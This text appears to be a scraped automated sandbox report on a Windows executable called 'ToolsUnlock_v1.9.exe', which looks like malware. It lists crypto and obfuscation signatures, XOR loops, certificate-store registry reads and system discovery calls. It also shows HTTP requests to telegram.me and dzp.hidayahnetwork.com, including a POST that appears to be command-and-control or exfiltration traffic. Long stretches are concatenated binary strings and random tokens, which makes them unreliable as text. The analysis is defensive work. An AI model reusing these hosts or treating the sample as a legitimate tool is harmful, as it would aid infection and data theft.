setgcstopm: negative nmspinninggfodirmdxndl-orbit-insertionickcvvjtrxur-orbit-insertioninvalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sweep: m is not lockednewproc1: new g is not Gdeadnewproc1: newg missing stackpkalsbukviga-orbit-insertionprotocol d" (Indicator: "CertCreateCertificateContext"; File: "ToolsUnlock_v1.9.exe") Found api reference "ssible type kind rxaevrlcijjbqy-orbit-insertionsocket operation on non-socketsync: inconsistent mutex statesync: unlock of unlocked mutexudsbsczygclooh-orbit-insertionunsafe.Slice: len out of range) not in usable address space: ...additional frames elided....lib section in a.out corruptedbad write barrier buffer boundscall from within the Go runtimecannot assign requested addresscasgstatus: bad incoming valuescheckmark found unmarked objectentersyscallblock inconsistent iifuqbgbjwjsoyz-orbit-insertioninternal error - misuse of itabiycjaxlvkdjwbpn-orbit-insertionjltgxqtzafhorhc-orbit-insertionnon in-use span in unswept listpacer: sweep done at heap size qnujwmfoajbkrdk-orbit-insertionresetspinning: not a spinning mruntime: cannot allocate memoryruntime: failed to commit pagesruntime: split stack overflow: slice bounds out of range [%x:]slice bounds out of range [:%x]zrotdqhtxtjohtt-orbit-insertionzxvyuimywyhsbfj-orbit-insertion (types from different packages)CertAddCertificateContextToStoreCertVerifyCertifica" (Indicator: "CertAddCertificateContextToStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "CertCloseStoreCreateProcessWCryptGenRandomFindFirstFileWFlight SurgeonFormatMessageWGC assist waitGC worker initGetConsoleModeGetProcAddressGetUserNameExWHiroshi TanakaMB; allocated NetUserGetInfoOther_ID_StartPattern_SyntaxProcess32NextWQuotation_MarkSetFilePointerTranslateNameWWeatherStationallocfreetraceatrqbsjxbpenisavg_heart_ratebad allocCountbad restart PCbad span statebxxebddglpwbzwcalibration-OKcomm_delay_secfgseidftxohiqgfile too largefinalizer waitgcstoptheworldgetprotobynamegmhyzygvlbcyezhfkfcj-medicalhgipvqtllzzubdhouini-medicalinvalid syntaxis a directoryjfjcemuigghjnvlehkwysxcmssuzlevel 2 haltedlevel 3 haltedmission_statusnicnveagaeqbncno module datano such devicepollCache.lockpower_budget_wprotocol errorqslyik-medicalruntime: full=runtime: want=s.allocCount= semaRoot queuessfdco-medicalstack overflowstopm spinningstore64 failedsync.Cond.Waittemp-minus-63Ctext file busytoo many linkstoo many usersttpfxc-medicalunexpected EOFunsafe.Pointervjztuzxxnfqonovpolrx-medicalwinapi error #work.full != 0z" (Indicator: "CertCloseStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "CertCloseStoreCreateProcessWCryptGenRandomFindFirstFileWFlight SurgeonFormatMessageWGC assist waitGC worker initGetConsoleModeGetProcAddressGetUserNameExWHiroshi TanakaMB; allocated NetUserGetInfoOther_ID_StartPattern_SyntaxProcess32NextWQuotation_MarkSetFilePointerTranslateNameWWeatherStationallocfreetraceatrqbsjxbpenisavg_heart_ratebad allocCountbad restart PCbad span statebxxebddglpwbzwcalibration-OKcomm_delay_secfgseidftxohiqgfile too largefinalizer waitgcstoptheworldgetprotobynamegmhyzygvlbcyezhfkfcj-medicalhgipvqtllzzubdhouini-medicalinvalid syntaxis a directoryjfjcemuigghjnvlehkwysxcmssuzlevel 2 haltedlevel 3 haltedmission_statusnicnveagaeqbncno module datano such devicepollCache.lockpower_budget_wprotocol errorqslyik-medicalruntime: full=runtime: want=s.allocCount= semaRoot queuessfdco-medicalstack overflowstopm spinningstore64 failedsync.Cond.Waittemp-minus-63Ctext file busytoo many linkstoo many usersttpfxc-medicalunexpected EOFunsafe.Pointervjztuzxxnfqonovpolrx-medicalwinapi error #work.full != 0z" (Indicator: "CryptGenRandom"; File: "ToolsUnlock_v1.9.exe") Found api reference "mstartbad sequence numberbuhrlkwzm-departuredevice not a streamdirectory not emptydisk quota exceededdmhgvtwnt-departurednqaprtftbn-medicaldodeltimer: wrong Pengines_operationalepzieyhxv-departurefile already closedfile already existsfile does not existgfhizslzw-departurejcgpfwbuitv-medicaljkdqeygcq-departurejkqwvsrdr-departurekliluxpgw-departurem not found in allmmarking free objectmarkroot: bad indexmax_hull_stress_mpamissing deferreturnmspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocsozefumgfc-departurepageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftstopm holding lockssysMemStat overflowtoo many open filestotal_burn_time_sectotal_dish_area_sqmunexpected g statusunknown wait reasonvqiacuycw-departurewdgpjhazwih-medicalwinmm.dll not foundxtqkwycvnje-medicalyxlytdwej-departure markroot jobs done to unallocated spanCertOpenSystemStoreWCreateP" (Indicator: "CertOpenSystemStoreW"; File: "ToolsUnlock_v1.9.exe") Found api reference "ocessAsUserWCryptAcquireContextWEgyptian_HieroglyphsGetAcceptExSockaddrsGetCurrentDirectoryWGetFileAttributesExWIDS_Trinary_OperatorMeroitic_HieroglyphsSeek: invalid offsetSeek: invalid whenceSetCurrentDirectoryWSetHandleInformationTerminal_Punctuationanomalies_unresolvedbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection timed outdodeltimer0: wrong Pdrcdnlybhd-departureedgzepmnqkxp-medicalfloating point errorforcegc: phase errorfwdzmpbcoq-departuregikgcbifge-departuregkipqgoent-departurego of nil func valuegopark: bad g statusihvattuqif-departureimgtfhzxtlug-medicalinconsistent lockedminvalid request codeinvalid write resultiqlgcpiohd-departureis a named type filekey has been revokedlzuvuuqxnglz-medicalmalloc during signalnotetsleep not on g0olaydinyue-departurep mcache not flushedpacer: assist ratio=preempt off reason: reflect.makeFuncStubsemaRoot rotateRighttotal_celestial_masstotal_data_rate_kbpstrace: out of memorywcjqwjyfdqt" (Indicator: "CryptAcquireContextW"; File: "ToolsUnlock_v1.9.exe") Found api reference "not nilonline_ground_stationsprotocol not availableprotocol not supportedqtadomfjwtxr-departureremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussdigxbmoyuty-departuresend on closed channelship_calculated_dv_mpssnyyqpymqcxo-departuresouthern_hemi_stationsspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largevffycxgzuuok-departurevnwevvvtryfjze-medicalwirep: invalid p statewoshbalzkqog-departurewxxcdvodlcklgy-medicalwyrlotbszxzkuh-medicalxfexxocslffh-departurexsfkcd-orbit-insertionxvedrbcfqmin-departureyaokmq-orbit-insertionykgrbkjjehwn-departureyxvznyaagqicie-medicalzoshcc-orbit-insertion) must be a power of 2CertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeLogical_Order_ExceptionMB during sweep; swept Noncharacter_Code_PointSetEnvironmentVariableW" missing CPU supportactive_science_payloadsawiphkrcqpylpqc-medicalbsesbdjerayhgv" (Indicator: "CertGetCertificateChain"; File: "ToolsUnlock_v1.9.exe"), Found api reference "-medicalchan receive (nil chan)close of closed channeldevice or resource busyexbyxrrmsyojv-departurefatal: morestack on g0garbage collection scangcDrain phase incorrectindex out of range [%x]interrupted system callinvalid m->lockedInt = iomtjfe-orbit-insertionleft over markroot jobsmakechan: bad alignmentnanotime returning zerono space left on devicenozyvhg-orbit-insertionoabrakmrnehiwjw-medicaloperation not permittedoperation not supportedpanic during preemptoffprocresize: invalid argqbyjinlqhsfpy-departurereflect.methodValueCallruntime: internal errorruntime: invalid type runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding locksshrinkstack at bad timespan has no free stacksstack growth after forksystem huge page size (tanbdoa-orbit-insertionwolywao-orbit-insertionwork.nwait > work.nprocxdfulwd-orbit-insertionxtlzpezjzmyihue-medicalyefhmpe-orbit-insertionzwgqucuzsqjjile-medicalCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWamkjwpvyvafbha-departur" (Indicator: "CertFreeCertificateChain"; File: "ToolsUnlock_v1.9.exe") Found api reference "lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnabletbpxtomekvzefkf-departureunexpected fault address zpnomvaulkskbaf-departureCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatuscall from unknown functioncorrupted semaphore ticketentersyscall inconsistent forEachP: P did not run fnfreedefer with d.fn != nilinitSpan: unaligned lengthinvalid request descriptoritkgaexkmh-orbit-insertionkpykpyalxs-orbit-insertionlnlwkhmnqp-orbit-insertionname not unique on networknegative idle mark workersnfaboqunfu-orbit-insertionno CSI structure availableno message of desired typenotewakeup - double wakeupout of memory (stackalloc)persistentalloc: size == 0required key not availableruntime: bad span s.state=runtime: pcHeader: magic= shrinking stack in libcallshwnynzbpe-orbit-insertionstartlockedm: locked to meuse of invalid sweepLockerwarhptuzdu-orbit-insertionzaafpbpgkz-orbit-insertion not in stack roots range [: unexpected return pc fo" (Indicator: "CertFreeCertificateContext"; File: "ToolsUnlock_v1.9.exe") Found api reference "unlock: lock countsigsend: inconsistent statestack size not a power of 2startm: negative nmspinningstopTheWorld: holding lockstimer when must be positivetoivatgbnlx-orbit-insertiontoo many callback functionsvmqtrbkmtlu-orbit-insertionwfpepyagiyp-orbit-insertionwork.nwait was > work.nprocxmdjadnzjqj-orbit-insertionzuxneaevcpl-orbit-insertion args stack map entries for CertCreateCertificateContextFixedStack is not power-of-2Prepended_Concatenation_Mark[originating from goroutine comparing uncomparable type destination address requiredeijaykfodugb-orbit-insertionelgxkpqsjnjz-orbit-insertionfatal: morestack on gsignalfile descriptor in bad statefindrunnable: netpoll with pfound pointer to free objectgcBgMarkWorker: mode not setgcstopm: negative nmspinninggfodirmdxndl-orbit-insertionickcvvjtrxur-orbit-insertioninvalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sweep: m is not lockednewproc1: new g is not Gdeadnewproc1: newg missing stackpkalsbukviga-orbit-insertionprotocol" (Indicator: "CertCreateCertificateContext"; File: "ToolsUnlock_v1.9.exe") Found api reference "ssible type kind rxaevrlcijjbqy-orbit-insertionsocket operation on non-socketsync: inconsistent mutex statesync: unlock of unlocked mutexudsbsczygclooh-orbit-insertionunsafe.Slice: len out of range) not in usable address space: ...additional frames elided....lib section in a.out corruptedbad write barrier buffer boundscall from within the Go runtimecannot assign requested addresscasgstatus: bad incoming valuescheckmark found unmarked objectentersyscallblock inconsistent iifuqbgbjwjsoyz-orbit-insertioninternal error - misuse of itabiycjaxlvkdjwbpn-orbit-insertionjltgxqtzafhorhc-orbit-insertionnon in-use span in unswept listpacer: sweep done at heap size qnujwmfoajbkrdk-orbit-insertionresetspinning: not a spinning mruntime: cannot allocate memoryruntime: failed to commit pagesruntime: split stack overflow: slice bounds out of range [%x:]slice bounds out of range [:%x]zrotdqhtxtjohtt-orbit-insertionzxvyuimywyhsbfj-orbit-insertion (types from different packages)CertAddCertificateContextToStoreCertVerifyCertific" (Indicator: "CertAddCertificateContextToStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "syscall.procCryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "ToolsUnlock_v1.9.exe") Found api reference "syscall.procCryptGenRandom" (Indicator: "CryptGenRandom"; File: "ToolsUnlock_v1.9.exe") Found api reference "syscall.procCryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "ToolsUnlock_v1.9.exe") Found api reference "syscall.procCertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "syscall.procCertCloseStore" (Indicator: "CertCloseStore"; File: "ToolsUnlock_v1.9.exe") Found api reference "syscall.procCertCreateCertificateContext" (Indicator: "CertCreateCertificateContext"; File: "ToolsUnlock_v1.9.exe")2d:T427,Found reference to API "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp")2e:T570,file/memory contains long string with (Indicator: "CertCloseStore"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CryptReleaseContext"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CertOpenSystemStore"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CryptAcquireContext"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CertFreeCertificateContext"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CertEnumCertificatesInStore"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCryptAcquireContextW" (Indicator: "CryptAcquireContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCertCloseStore" (Indicator: "CertCloseStore"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCertOpenSystemStoreW" (Indicator: "CertOpenSystemStore"; File: "ToolsUnlock_v1.9.exe")2f:Tbfa,Contains base64 string in header "telegram" in header "GET /hgo9tx HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" Contains base64 string in header "keep" in header "GET /hgo9tx HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" Contains base64 string in header "comCache" in header "GET / HTTP/1.1Host: dzp.hidayahnetwork.comCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" Contains base64 string in header "keep" in header "GET / HTTP/1.1Host: dzp.hidayahnetwork.comCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254"30:T43a,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings31:Taa0,Found XOR loop in file "sample.bin" at offset 76326; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 781901; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1005228; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1748096; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4546850; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4678546; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4678571; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4679586; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4693547; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4694034; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4705298; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4715410; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4715426; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5510264; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4498475; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 22341; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 105634; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230330; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 249454; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 318859; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 471564; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 631575; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 631615; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 633172; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 633626; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 633911; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 823129; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1104207; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1104514; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1104656; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1190807; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4439901; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4467677; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4819326; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5267448; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5292432; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5479394; code bytes = 803032:T44b,Found system information discovery API: "GetEnvironmentStringsW" in file "ToolsUnlock_v1.9.exe" Found system information discovery API: "GetSystemInfo" in file "ToolsUnlock_v1.9.exe" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "ToolsUnlock_v1.9.exe" Found system information discovery API: "syscall.procGetEnvironmentStringsW" in file "ToolsUnlock_v1.9.exe" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found system information discovery API: "syscall.procGetEnvironmentStringsW" in "00000000-00006184.00000001.136997.01931000.00000002.mdmp"33:Tc7e,"ToolsUnlock_v1.9.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000090000000000000018000000000000001b05e2574b1f00000800000000000000ffffffffffffffff3400000000000000b42e9b6afa7f0000f8e6bf2471000000db04f07bfa7f000000000000fa7f00002a968378fa7f0000000000000000000009000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000060e7bf2471000000080000000000000000000000000000000000000000000000cb3ce2574b1f0000c3f0ee7bfa7f00000000f6cf01020000a713ef7bfa7f0000b8e7bf24 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac057bfa7f0000000000000000000051edf27bfa7f000000000000fa7f000000000000000000001085883366a60000000001001a00010040dd037cfa7f00008fecf27bfa7f0000e0ac057bfa7f0000e0ac057bfa7f0000000000000000000000000000fa7f0000ffffff7f92f9000000000000000000000000000000000000d8cef97afa7f00002a0000000000000069c3b27afa7f000031000000000000000c020000000000001002000000000000110001100000000020afbf247100000003a3d279fa7f000020afbf247100000000000000000000002b00000000000000000000000000000020b0b87afa7f0000b43fb77afa7f0000e0cef97a (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006184)34:T53b,file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "ToolsUnlock_v1.9.exe") Found reference to API "runtime._GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "ToolsUnlock_v1.9.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procGetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "runtime._GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")35:T547,"ToolsUnlock_v1.9.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "ToolsUnlock_v1.9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")36:T73b,"ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006184)37:T1c5a,"ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006184) 